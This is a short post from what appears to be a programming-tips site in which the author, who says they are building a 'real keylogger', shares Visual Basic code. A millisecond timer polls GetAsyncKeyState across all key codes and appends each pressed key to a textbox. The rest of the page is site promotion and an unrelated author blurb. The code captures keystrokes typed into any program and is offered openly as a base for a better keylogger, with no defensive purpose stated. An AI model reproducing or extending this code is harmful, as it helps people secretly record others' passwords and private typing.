Simple Key logger

I'm working on a real keylogger, and I was researching how to do them, and after a bit of thinking I came up with this code... it works for a very very basic keylogger, but you'll get tons of unwanted weird characters in your text, so you have to do a lot of modification if you want to use this for a good quality keylogger (like I am).

Just create a timer and a textbox on your form, leave their names as Text1 and Timer1. Set the timer's interval to 1 and make sure it's activated. Copy this code to your form.

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub

You might also like...


Jamie Lindgren Uhm... I dunno why I'm typing this, cuz nobody is gonna read it probably, but anyway... I am (guess my age!! haha... 14) years old and I like programming, web design, and graphic design. I'm pursui...


Why not write for us? Or you could submit an event or a user group in your area. Alternatively just tell us what you think!

Our tools

We've got automatic conversion tools to convert C# to VB.NET, VB.NET to C#. Also you can compress javascript and compress css and generate sql connection strings.

“Debugging is anticipated with distaste, performed with reluctance, and bragged about forever.” - Dan Kaminsky